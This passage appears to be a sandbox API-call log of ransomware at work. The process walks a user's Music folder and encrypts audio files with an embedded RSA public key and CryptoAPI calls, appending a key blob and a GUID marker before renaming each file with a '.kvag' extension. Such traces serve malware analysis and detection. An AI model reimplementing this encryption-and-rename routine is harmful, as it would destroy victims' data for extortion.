lpNumberOfBytesWritten=0x6a5fb50, lpOverlapped=0x0 | out: lpBuffer=0x504440*, lpNumberOfBytesWritten=0x6a5fb50*=0x26, lpOverlapped=0x0) returned 1 [0121.165] CloseHandle (hObject=0x61c) returned 1 [0121.166] MoveFileW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\JMb5K DyX7\\QgLkms-\\HBTr-UABKsVOi1XyIF.m4a" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\music\\jmb5k dyx7\\qglkms-\\hbtr-uabksvoi1xyif.m4a"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\JMb5K DyX7\\QgLkms-\\HBTr-UABKsVOi1XyIF.m4a.kvag" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\music\\jmb5k dyx7\\qglkms-\\hbtr-uabksvoi1xyif.m4a.kvag")) returned 1 [0121.168] FindNextFileW (in: hFindFile=0x6183848, lpFindFileData=0x6a5fba4 | out: lpFindFileData=0x6a5fba4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x156ccb40, ftCreationTime.dwHighDateTime=0x1d4cae5, ftLastAccessTime.dwLowDateTime=0x56802020, ftLastAccessTime.dwHighDateTime=0x1d4ce2b, ftLastWriteTime.dwLowDateTime=0x56802020, ftLastWriteTime.dwHighDateTime=0x1d4ce2b, nFileSizeHigh=0x0, nFileSizeLow=0x6caa, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="kwaxsk4m.m4a", cAlternateFileName="")) returned 1 [0121.168] PathFindExtensionW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\JMb5K DyX7\\QgLkms-\\kwaxsk4m.m4a") returned=".m4a" [0121.168] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\JMb5K DyX7\\QgLkms-\\kwaxsk4m.m4a" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\music\\jmb5k dyx7\\qglkms-\\kwaxsk4m.m4a"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x61c [0121.171] GetFileSizeEx (in: hFile=0x61c, lpFileSize=0x6a5fb40 | out: lpFileSize=0x6a5fb40*=27818) returned 1 [0121.171] VirtualAlloc (lpAddress=0x0, dwSize=0x25815, flAllocationType=0x1000, flProtect=0x4) returned 0x6ba0000 [0121.173] SetFilePointerEx (in: hFile=0x61c, liDistanceToMove=0x6c84, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0121.173] ReadFile (in: hFile=0x61c, lpBuffer=0x6ba0000, nNumberOfBytesToRead=0x26, lpNumberOfBytesRead=0x6a5fb78, lpOverlapped=0x0 | out: lpBuffer=0x6ba0000*, lpNumberOfBytesRead=0x6a5fb78*=0x26, lpOverlapped=0x0) returned 1 [0121.175] ReadFile (in: hFile=0x61c, lpBuffer=0x6ba0000, nNumberOfBytesToRead=0x25805, lpNumberOfBytesRead=0x6a5fb70, lpOverlapped=0x0 | out: lpBuffer=0x6ba0000*, lpNumberOfBytesRead=0x6a5fb70*=0x6caa, lpOverlapped=0x0) returned 1 [0121.175] lstrlenA (lpString="-----BEGIN PUBLIC KEY-----\\\\nMIIBIjANBgkqhkiG9w0BAQEFAAOCAQ8AMIIBCgKCAQEA9MEIds2OP6Z6CXK0QOfH\\\\n11eUVBAnb8eNvtyojl6B9WdFx0Z\\/yxCjC3za06cxV7CnLUjuYdMkhT+GN53XN927\\\\n3h5bvGxvBbhwxJhLwYbbHXOuAW3t+NTorVYT9ST6KAJJTG9APdC0tHLBIDDaiXD4\\\\ng0bnjcRCHwexPDUpL6SJdbiz4bcxKNyyuCrFVWW4N4Sr04kXBHCuXMX9N9DnEnvH\\\\nvJt5hFUaPpII81r9r4VYEjFF\\/G\\/Lw1+IBkjQyAhsdja7hG9WaHhelGt6Q\\/rNZD+L\\\\n4oA\\/q73fHUQHK49aViuOLNCiCnfiN3RfpqcA9hsTYfdojjFxi7iSBeupv1GgiV6e\\\\nTwIDAQAB\\\\n-----END PUBLIC KEY-----\\\\n") returned 494 [0121.175] lstrlenA (lpString="-----BEGIN PUBLIC KEY-----\\\\nMIIBIjANBgkqhkiG9w0BAQEFAAOCAQ8AMIIBCgKCAQEA9MEIds2OP6Z6CXK0QOfH\\\\n11eUVBAnb8eNvtyojl6B9WdFx0Z\\/yxCjC3za06cxV7CnLUjuYdMkhT+GN53XN927\\\\n3h5bvGxvBbhwxJhLwYbbHXOuAW3t+NTorVYT9ST6KAJJTG9APdC0tHLBIDDaiXD4\\\\ng0bnjcRCHwexPDUpL6SJdbiz4bcxKNyyuCrFVWW4N4Sr04kXBHCuXMX9N9DnEnvH\\\\nvJt5hFUaPpII81r9r4VYEjFF\\/G\\/Lw1+IBkjQyAhsdja7hG9WaHhelGt6Q\\/rNZD+L\\\\n4oA\\/q73fHUQHK49aViuOLNCiCnfiN3RfpqcA9hsTYfdojjFxi7iSBeupv1GgiV6e\\\\nTwIDAQAB\\\\n-----END PUBLIC KEY-----\\\\n") returned 494 [0121.176] lstrlenA (lpString="-----BEGIN PUBLIC KEY-----\\\\nMIIBIjANBgkqhkiG9w0BAQEFAAOCAQ8AMIIBCgKCAQEA9MEIds2OP6Z6CXK0QOfH\\\\n11eUVBAnb8eNvtyojl6B9WdFx0Z\\/yxCjC3za06cxV7CnLUjuYdMkhT+GN53XN927\\\\n3h5bvGxvBbhwxJhLwYbbHXOuAW3t+NTorVYT9ST6KAJJTG9APdC0tHLBIDDaiXD4\\\\ng0bnjcRCHwexPDUpL6SJdbiz4bcxKNyyuCrFVWW4N4Sr04kXBHCuXMX9N9DnEnvH\\\\nvJt5hFUaPpII81r9r4VYEjFF\\/G\\/Lw1+IBkjQyAhsdja7hG9WaHhelGt6Q\\/rNZD+L\\\\n4oA\\/q73fHUQHK49aViuOLNCiCnfiN3RfpqcA9hsTYfdojjFxi7iSBeupv1GgiV6e\\\\nTwIDAQAB\\\\n-----END PUBLIC KEY-----\\\\n") returned 494 [0121.176] CryptAcquireContextW (in: phProv=0x6a5fa50, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x6a5fa50*=0x3607c68) returned 1 [0121.176] CryptCreateHash (in: hProv=0x3607c68, Algid=0x8003, hKey=0x0, dwFlags=0x0, phHash=0x6a5fa58 | out: phHash=0x6a5fa58) returned 1 [0121.176] CryptHashData (hHash=0x6183888, pbData=0x6194728, dwDataLen=0x1f3, dwFlags=0x0) returned 1 [0121.176] CryptGetHashParam (in: hHash=0x6183888, dwParam=0x2, pbData=0x0, pdwDataLen=0x6a5fa54, dwFlags=0x0 | out: pbData=0x0, pdwDataLen=0x6a5fa54) returned 1 [0121.177] CryptGetHashParam (in: hHash=0x6183888, dwParam=0x2, pbData=0x614db40, pdwDataLen=0x6a5fa54, dwFlags=0x0 | out: pbData=0x614db40, pdwDataLen=0x6a5fa54) returned 1 [0121.177] CryptDestroyHash (hHash=0x6183888) returned 1 [0121.177] CryptReleaseContext (hProv=0x3607c68, dwFlags=0x0) returned 1 [0121.177] UuidCreate (in: Uuid=0x6a5fa48 | out: Uuid=0x6a5fa48) returned 0x0 [0121.177] UuidToStringA (in: Uuid=0x6a5fa48, StringUuid=0x6a5fa40 | out: StringUuid=0x6a5fa40) returned 0x0 [0121.177] RpcStringFreeA (in: String=0x6a5fa40 | out: String=0x6a5fa40) returned 0x0 [0121.177] RtlReAllocateHeap (Heap=0x35b0000, Flags=0x0, Ptr=0x6781688, Size=0x218) returned 0x67741a0 [0121.177] SetFilePointerEx (in: hFile=0x61c, liDistanceToMove=0x6caa, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0121.177] WriteFile (in: hFile=0x61c, lpBuffer=0x360f820*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x6a5fb50, lpOverlapped=0x0 | out: lpBuffer=0x360f820*, lpNumberOfBytesWritten=0x6a5fb50*=0x100, lpOverlapped=0x0) returned 1 [0121.177] lstrlenA (lpString="{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}") returned 38 [0121.178] WriteFile (in: hFile=0x61c, lpBuffer=0x504440*, nNumberOfBytesToWrite=0x26, lpNumberOfBytesWritten=0x6a5fb50, lpOverlapped=0x0 | out: lpBuffer=0x504440*, lpNumberOfBytesWritten=0x6a5fb50*=0x26, lpOverlapped=0x0) returned 1 [0121.178] CloseHandle (hObject=0x61c) returned 1 [0121.179] MoveFileW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\JMb5K DyX7\\QgLkms-\\kwaxsk4m.m4a" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\music\\jmb5k dyx7\\qglkms-\\kwaxsk4m.m4a"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\JMb5K DyX7\\QgLkms-\\kwaxsk4m.m4a.kvag" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\music\\jmb5k dyx7\\qglkms-\\kwaxsk4m.m4a.kvag")) returned 1 [0121.180] FindNextFileW (in: hFindFile=0x6183848, lpFindFileData=0x6a5fba4 | out: lpFindFileData=0x6a5fba4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb2db4080, ftCreationTime.dwHighDateTime=0x1d4d235, ftLastAccessTime.dwLowDateTime=0xaec4ef00, ftLastAccessTime.dwHighDateTime=0x1d4c7ef, ftLastWriteTime.dwLowDateTime=0xaec4ef00, ftLastWriteTime.dwHighDateTime=0x1d4c7ef, nFileSizeHigh=0x0, nFileSizeLow=0xe5e9, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="PwRjCl.mp3", cAlternateFileName="")) returned 1 [0121.180] PathFindExtensionW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\JMb5K DyX7\\QgLkms-\\PwRjCl.mp3") returned=".mp3" [0121.180] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\JMb5K DyX7\\QgLkms-\\PwRjCl.mp3" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\music\\jmb5k dyx7\\qglkms-\\pwrjcl.mp3"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x61c [0121.181] GetFileSizeEx (in: hFile=0x61c, lpFileSize=0x6a5fb40 | out: lpFileSize=0x6a5fb40*=58857) returned 1 [0121.181] VirtualAlloc (lpAddress=0x0, dwSize=0x25815, flAllocationType=0x1000, flProtect=0x4) returned 0x6ba0000 [0121.183] SetFilePointerEx (in: hFile=0x61c, liDistanceToMove=0xe5c3, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0121.183] ReadFile (in: hFile=0x61c, lpBuffer=0x6ba0000, nNumberOfBytesToRead=0x26, lpNumberOfBytesRead=0x6a5fb78, lpOverlapped=0x0 | out: lpBuffer=0x6ba0000*, lpNumberOfBytesRead=0x6a5fb78*=0x26, lpOverlapped=0x0) returned 1 [0121.184] ReadFile (in: hFile=0x61c, lpBuffer=0x6ba0000, nNumberOfBytesToRead=0x25805, lpNumberOfBytesRead=0x6a5fb70, lpOverlapped=0x0 | out: lpBuffer=0x6ba0000*, lpNumberOfBytesRead=0x6a5fb70*=0xe5e9, lpOverlapped=0x0) returned 1 [0121.185] lstrlenA (lpString="-----BEGIN PUBLIC KEY-----\\\\nMIIBIjANBgkqhkiG9w0BAQEFAAOCAQ8AMIIBCgKCAQEA9MEIds2OP6Z6CXK0QOfH\\\\n11eUVBAnb8eNvtyojl6B9WdFx0Z\\/yxCjC3za06cxV7CnLUjuYdMkhT+GN53XN927\\\\n3h5bvGxvBbhwxJhLwYbbHXOuAW3t+NTorVYT9ST6KAJJTG9APdC0tHLBIDDaiXD4\\\\ng0bnjcRCHwexPDUpL6SJdbiz4bcxKNyyuCrFVWW4N4Sr04kXBHCuXMX9N9DnEnvH\\\\nvJt5hFUaPpII81r9r4VYEjFF\\/G\\/Lw1+IBkjQyAhsdja7hG9WaHhelGt6Q\\/rNZD+L\\\\n4oA\\/q73fHUQHK49aViuOLNCiCnfiN3RfpqcA9hsTYfdojjFxi7iSBeupv1GgiV6e\\\\nTwIDAQAB\\\\n-----END PUBLIC KEY-----\\\\n") returned 494 [0121.185] lstrlenA (lpString="-----BEGIN PUBLIC KEY-----\\\\nMIIBIjANBgkqhkiG9w0BAQEFAAOCAQ8AMIIBCgKCAQEA9MEIds2OP6Z6CXK0QOfH\\\\n11eUVBAnb8eNvtyojl6B9WdFx0Z\\/yxCjC3za06cxV7CnLUjuYdMkhT+GN53XN927\\\\n3h5bvGxvBbhwxJhLwYbbHXOuAW3t+NTorVYT9ST6KAJJTG9APdC0tHLBIDDaiXD4\\\\ng0bnjcRCHwexPDUpL6SJdbiz4bcxKNyyuCrFVWW4N4Sr04kXBHCuXMX9N9DnEnvH\\\\nvJt5hFUaPpII81r9r4VYEjFF\\/G\\/Lw1+IBkjQyAhsdja7hG9WaHhelGt6Q\\/rNZD+L\\\\n4oA\\/q73fHUQHK49aViuOLNCiCnfiN3RfpqcA9hsTYfdojjFxi7iSBeupv1GgiV6e\\\\nTwIDAQAB\\\\n-----END PUBLIC KEY-----\\\\n") returned 494 [0121.185] lstrlenA (lpString="-----BEGIN PUBLIC KEY-----\\\\nMIIBIjANBgkqhkiG9w0BAQEFAAOCAQ8AMIIBCgKCAQEA9MEIds2OP6Z6CXK0QOfH\\\\n11eUVBAnb8eNvtyojl6B9WdFx0Z\\/yxCjC3za06cxV7CnLUjuYdMkhT+GN53XN927\\\\n3h5bvGxvBbhwxJhLwYbbHXOuAW3t+NTorVYT9ST6KAJJTG9APdC0tHLBIDDaiXD4\\\\ng0bnjcRCHwexPDUpL6SJdbiz4bcxKNyyuCrFVWW4N4Sr04kXBHCuXMX9N9DnEnvH\\\\nvJt5hFUaPpII81r9r4VYEjFF\\/G\\/Lw1+IBkjQyAhsdja7hG9WaHhelGt6Q\\/rNZD+L\\\\n4oA\\/q73fHUQHK49aViuOLNCiCnfiN3RfpqcA9hsTYfdojjFxi7iSBeupv1GgiV6e\\\\nTwIDAQAB\\\\n-----END PUBLIC KEY-----\\\\n") returned 494 [0121.185] CryptAcquireContextW (in: phProv=0x6a5fa50, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x6a5fa50*=0x3607c68) returned 1 [0121.186] CryptCreateHash (in: hProv=0x3607c68, Algid=0x8003, hKey=0x0, dwFlags=0x0, phHash=0x6a5fa58 | out: phHash=0x6a5fa58) returned 1 [0121.186] CryptHashData (hHash=0x6183888, pbData=0x6194728, dwDataLen=0x1f3, dwFlags=0x0) returned 1 [0121.186] CryptGetHashParam (in: hHash=0x6183888, dwParam=0x2, pbData=0x0, pdwDataLen=0x6a5fa54, dwFlags=0x0 | out: pbData=0x0, pdwDataLen=0x6a5fa54) returned 1 [0121.186] CryptGetHashParam (in: hHash=0x6183888, dwParam=0x2, pbData=0x614db40, pdwDataLen=0x6a5fa54, dwFlags=0x0 | out: pbData=0x614db40, pdwDataLen=0x6a5fa54) returned 1 [0121.187] CryptDestroyHash (hHash=0x6183888) returned 1 [0121.187] CryptReleaseContext (hProv=0x3607c68, dwFlags=0x0) returned 1 [0121.187] UuidCreate (in: Uuid=0x6a5fa48 | out: Uuid=0x6a5fa48) returned 0x0 [0121.187] UuidToStringA (in: Uuid=0x6a5fa48, StringUuid=0x6a5fa40 | out: StringUuid=0x6a5fa40) returned 0x0 [0121.187] RpcStringFreeA (in: String=0x6a5fa40 | out: String=0x6a5fa40) returned 0x0 [0121.187] RtlReAllocateHeap (Heap=0x35b0000, Flags=0x0, Ptr=0x6781688, Size=0x218) returned 0x67741a0 [0121.187] SetFilePointerEx (in: hFile=0x61c, liDistanceToMove=0xe5e9, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0121.187] WriteFile (in: hFile=0x61c, lpBuffer=0x360f820*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x6a5fb50, lpOverlapped=0x0 | out: lpBuffer=0x360f820*, lpNumberOfBytesWritten=0x6a5fb50*=0x100, lpOverlapped=0x0) returned 1 [0121.188] lstrlenA (lpString="{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}") returned 38 [0121.188] WriteFile (in: hFile=0x61c, lpBuffer=0x504440*, nNumberOfBytesToWrite=0x26, lpNumberOfBytesWritten=0x6a5fb50, lpOverlapped=0x0 | out: lpBuffer=0x504440*, lpNumberOfBytesWritten=0x6a5fb50*=0x26, lpOverlapped=0x0) returned 1 [0121.188] CloseHandle (hObject=0x61c) returned 1 [0121.192] MoveFileW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\JMb5K DyX7\\QgLkms-\\PwRjCl.mp3" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\music\\jmb5k dyx7\\qglkms-\\pwrjcl.mp3"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\JMb5K DyX7\\QgLkms-\\PwRjCl.mp3.kvag" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\music\\jmb5k dyx7\\qglkms-\\pwrjcl.mp3.kvag")) returned 1 [0121.193] FindNextFileW (in: hFindFile=0x6183848, lpFindFileData=0x6a5fba4 | out: lpFindFileData=0x6a5fba4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb3edd510, ftCreationTime.dwHighDateTime=0x1d4d4be, ftLastAccessTime.dwLowDateTime=0xfa1d2820, ftLastAccessTime.dwHighDateTime=0x1d4cb3f, ftLastWriteTime.dwLowDateTime=0xfa1d2820, ftLastWriteTime.dwHighDateTime=0x1d4cb3f, nFileSizeHigh=0x0, nFileSizeLow=0xa4da, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Rg0qjq6f3-pfCaRPB.mp3", cAlternateFileName="RG0QJQ~1.MP3")) returned 1 [0121.193] PathFindExtensionW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\JMb5K DyX7\\QgLkms-\\Rg0qjq6f3-pfCaRPB.mp3") returned=".mp3" [0121.193] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\JMb5K DyX7\\QgLkms-\\Rg0qjq6f3-pfCaRPB.mp3" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\music\\jmb5k dyx7\\qglkms-\\rg0qjq6f3-pfcarpb.mp3"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x61c [0121.195] GetFileSizeEx (in: hFile=0x61c, lpFileSize=0x6a5fb40 | out: lpFileSize=0x6a5fb40*=42202) returned 1 [0121.195] VirtualAlloc (lpAddress=0x0, dwSize=0x25815, flAllocationType=0x1000, flProtect=0x4) returned 0x6ba0000 [0121.196] SetFilePointerEx (in: hFile=0x61c, liDistanceToMove=0xa4b4, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0121.196] ReadFile (in: hFile=0x61c, lpBuffer=0x6ba0000, nNumberOfBytesToRead=0x26, lpNumberOfBytesRead=0x6a5fb78, lpOverlapped=0x0 | out: lpBuffer=0x6ba0000*, lpNumberOfBytesRead=0x6a5fb78*=0x26, lpOverlapped=0x0) returned 1 [0121.197] ReadFile (in: hFile=0x61c, lpBuffer=0x6ba0000, nNumberOfBytesToRead=0x25805, lpNumberOfBytesRead=0x6a5fb70, lpOverlapped=0x0 | out: lpBuffer=0x6ba0000*, lpNumberOfBytesRead=0x6a5fb70*=0xa4da, lpOverlapped=0x0) returned 1 [0121.198] lstrlenA (lpString="-----BEGIN PUBLIC KEY-----\\\\nMIIBIjANBgkqhkiG9w0BAQEFAAOCAQ8AMIIBCgKCAQEA9MEIds2OP6Z6CXK0QOfH\\\\n11eUVBAnb8eNvtyojl6B9WdFx0Z\\/yxCjC3za06cxV7CnLUjuYdMkhT+GN53XN927\\\\n3h5bvGxvBbhwxJhLwYbbHXOuAW3t+NTorVYT9ST6KAJJTG9APdC0tHLBIDDaiXD4\\\\ng0bnjcRCHwexPDUpL6SJdbiz4bcxKNyyuCrFVWW4N4Sr04kXBHCuXMX9N9DnEnvH\\\\nvJt5hFUaPpII81r9r4VYEjFF\\/G\\/Lw1+IBkjQyAhsdja7hG9WaHhelGt6Q\\/rNZD+L\\\\n4oA\\/q73fHUQHK49aViuOLNCiCnfiN3RfpqcA9hsTYfdojjFxi7iSBeupv1GgiV6e\\\\nTwIDAQAB\\\\n-----END PUBLIC KEY-----\\\\n") returned 494 [0121.198] lstrlenA (lpString="-----BEGIN PUBLIC KEY-----\\\\nMIIBIjANBgkqhkiG9w0BAQEFAAOCAQ8AMIIBCgKCAQEA9MEIds2OP6Z6CXK0QOfH\\\\n11eUVBAnb8eNvtyojl6B9WdFx0Z\\/yxCjC3za06cxV7CnLUjuYdMkhT+GN53XN927\\\\n3h5bvGxvBbhwxJhLwYbbHXOuAW3t+NTorVYT9ST6KAJJTG9APdC0tHLBIDDaiXD4\\\\ng0bnjcRCHwexPDUpL6SJdbiz4bcxKNyyuCrFVWW4N4Sr04kXBHCuXMX9N9DnEnvH\\\\nvJt5hFUaPpII81r9r4VYEjFF\\/G\\/Lw1+IBkjQyAhsdja7hG9WaHhelGt6Q\\/rNZD+L\\\\n4oA\\/q73fHUQHK49aViuOLNCiCnfiN3RfpqcA9hsTYfdojjFxi7iSBeupv1GgiV6e\\\\nTwIDAQAB\\\\n-----END PUBLIC KEY-----\\\\n") returned 494 [0121.198] lstrlenA (lpString="-----BEGIN PUBLIC KEY-----\\\\nMIIBIjANBgkqhkiG9w0BAQEFAAOCAQ8AMIIBCgKCAQEA9MEIds2OP6Z6CXK0QOfH\\\\n11eUVBAnb8eNvtyojl6B9WdFx0Z\\/yxCjC3za06cxV7CnLUjuYdMkhT+GN53XN927\\\\n3h5bvGxvBbhwxJhLwYbbHXOuAW3t+NTorVYT9ST6KAJJTG9APdC0tHLBIDDaiXD4\\\\ng0bnjcRCHwexPDUpL6SJdbiz4bcxKNyyuCrFVWW4N4Sr04kXBHCuXMX9N9DnEnvH\\\\nvJt5hFUaPpII81r9r4VYEjFF\\/G\\/Lw1+IBkjQyAhsdja7hG9WaHhelGt6Q\\/rNZD+L\\\\n4oA\\/q73fHUQHK49aViuOLNCiCnfiN3RfpqcA9hsTYfdojjFxi7iSBeupv1GgiV6e\\\\nTwIDAQAB\\\\n-----END PUBLIC KEY-----\\\\n") returned 494 [0121.198] CryptAcquireContextW (in: phProv=0x6a5fa50, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x6a5fa50*=0x3607c68) returned 1 [0121.199] CryptCreateHash (in: hProv=0x3607c68, Algid=0x8003, hKey=0x0, dwFlags=0x0, phHash=0x6a5fa58 | out: phHash=0x6a5fa58) returned 1 [0121.199] CryptHashData (hHash=0x6183888, pbData=0x6194728, dwDataLen=0x1f3, dwFlags=0x0) returned 1 [0121.199] CryptGetHashParam (in: hHash=0x6183888, dwParam=0x2, pbData=0x0, pdwDataLen=0x6a5fa54, dwFlags=0x0 | out: pbData=0x0, pdwDataLen=0x6a5fa54) returned 1 [0121.199] CryptGetHashParam (in: hHash=0x6183888, dwParam=0x2, pbData=0x614db40, pdwDataLen=0x6a5fa54, dwFlags=0x0 | out: pbData=0x614db40, pdwDataLen=0x6a5fa54) returned 1 [0121.199] CryptDestroyHash (hHash=0x6183888) returned 1 [0121.199] CryptReleaseContext (hProv=0x3607c68, dwFlags=0x0) returned 1 [0121.199] UuidCreate (in: Uuid=0x6a5fa48 | out: Uuid=0x6a5fa48) returned 0x0 [0121.199] UuidToStringA (in: Uuid=0x6a5fa48, StringUuid=0x6a5fa40 | out: StringUuid=0x6a5fa40) returned 0x0 [0121.199] RpcStringFreeA (in: String=0x6a5fa40 | out: String=0x6a5fa40) returned 0x0 [0121.200] RtlReAllocateHeap (Heap=0x35b0000, Flags=0x0, Ptr=0x6781688, Size=0x218) returned 0x67741a0 [0121.200] SetFilePointerEx (in: hFile=0x61c, liDistanceToMove=0xa4da, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0121.200] WriteFile (in: hFile=0x61c, lpBuffer=0x360f820*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x6a5fb50, lpOverlapped=0x0 | out: lpBuffer=0x360f820*, lpNumberOfBytesWritten=0x6a5fb50*=0x100, lpOverlapped=0x0) returned 1 [0121.200] lstrlenA (lpString="{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}") returned 38 [0121.200] WriteFile (in: hFile=0x61c, lpBuffer=0x504440*, nNumberOfBytesToWrite=0x26, lpNumberOfBytesWritten=0x6a5fb50, lpOverlapped=0x0 | out: lpBuffer=0x504440*, lpNumberOfBytesWritten=0x6a5fb50*=0x26, lpOverlapped=0x0) returned 1 [0121.200] CloseHandle (hObject=0x61c) returned 1 [0121.202] MoveFileW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\JMb5K DyX7\\QgLkms-\\Rg0qjq6f3-pfCaRPB.mp3" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\music\\jmb5k dyx7\\qglkms-\\rg0qjq6f3-pfcarpb.mp3"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\JMb5K DyX7\\QgLkms-\\Rg0qjq6f3-pfCaRPB.mp3.kvag" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\music\\jmb5k dyx7\\qglkms-\\rg0qjq6f3-pfcarpb.mp3.kvag")) returned 1 [0121.203] FindNextFileW (in: hFindFile=0x6183848, lpFindFileData=0x6a5fba4 | out: lpFindFileData=0x6a5fba4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xdbb19240, ftCreationTime.dwHighDateTime=0x1d4c6a8, ftLastAccessTime.dwLowDateTime=0x37ee2fa0, ftLastAccessTime.dwHighDateTime=0x1d4c6f9, ftLastWriteTime.dwLowDateTime=0x37ee2fa0, ftLastWriteTime.dwHighDateTime=0x1d4c6f9, nFileSizeHigh=0x0, nFileSizeLow=0x17954, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="RmrshUTwC7.mp3", cAlternateFileName="RMRSHU~1.MP3")) returned 1 [0121.203] PathFindExtensionW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\JMb5K DyX7\\QgLkms-\\RmrshUTwC7.mp3") returned=".mp3" [0121.203] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\JMb5K DyX7\\QgLkms-\\RmrshUTwC7.mp3" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\music\\jmb5k dyx7\\qglkms-\\rmrshutwc7.mp3"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x61c [0121.204] GetFileSizeEx (in: hFile=0x61c, lpFileSize=0x6a5fb40 | out: lpFileSize=0x6a5fb40*=96596) returned 1 [0121.204] VirtualAlloc (lpAddress=0x0, dwSize=0x25815, flAllocationType=0x1000, flProtect=0x4) returned 0x6ba0000 [0121.205] SetFilePointerEx (in: hFile=0x61c, liDistanceToMove=0x1792e, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0121.205] ReadFile (in: hFile=0x61c, lpBuffer=0x6ba0000, nNumberOfBytesToRead=0x26, lpNumberOfBytesRead=0x6a5fb78, lpOverlapped=0x0 | out: lpBuffer=0x6ba0000*, lpNumberOfBytesRead=0x6a5fb78*=0x26, lpOverlapped=0x0) returned 1 [0121.207] ReadFile (in: hFile=0x61c, lpBuffer=0x6ba0000, nNumberOfBytesToRead=0x25805, lpNumberOfBytesRead=0x6a5fb70, lpOverlapped=0x0 | out: lpBuffer=0x6ba0000*, lpNumberOfBytesRead=0x6a5fb70*=0x17954, lpOverlapped=0x0) returned 1 [0121.207] lstrlenA (lpString="-----BEGIN PUBLIC KEY-----\\\\nMIIBIjANBgkqhkiG9w0BAQEFAAOCAQ8AMIIBCgKCAQEA9MEIds2OP6Z6CXK0QOfH\\\\n11eUVBAnb8eNvtyojl6B9WdFx0Z\\/yxCjC3za06cxV7CnLUjuYdMkhT+GN53XN927\\\\n3h5bvGxvBbhwxJhLwYbbHXOuAW3t+NTorVYT9ST6KAJJTG9APdC0tHLBIDDaiXD4\\\\ng0bnjcRCHwexPDUpL6SJdbiz4bcxKNyyuCrFVWW4N4Sr04kXBHCuXMX9N9DnEnvH\\\\nvJt5hFUaPpII81r9r4VYEjFF\\/G\\/Lw1+IBkjQyAhsdja7hG9WaHhelGt6Q\\/rNZD+L\\\\n4oA\\/q73fHUQHK49aViuOLNCiCnfiN3RfpqcA9hsTYfdojjFxi7iSBeupv1GgiV6e\\\\nTwIDAQAB\\\\n-----END PUBLIC KEY-----\\\\n") returned 494 [0121.208] lstrlenA (lpString="-----BEGIN PUBLIC 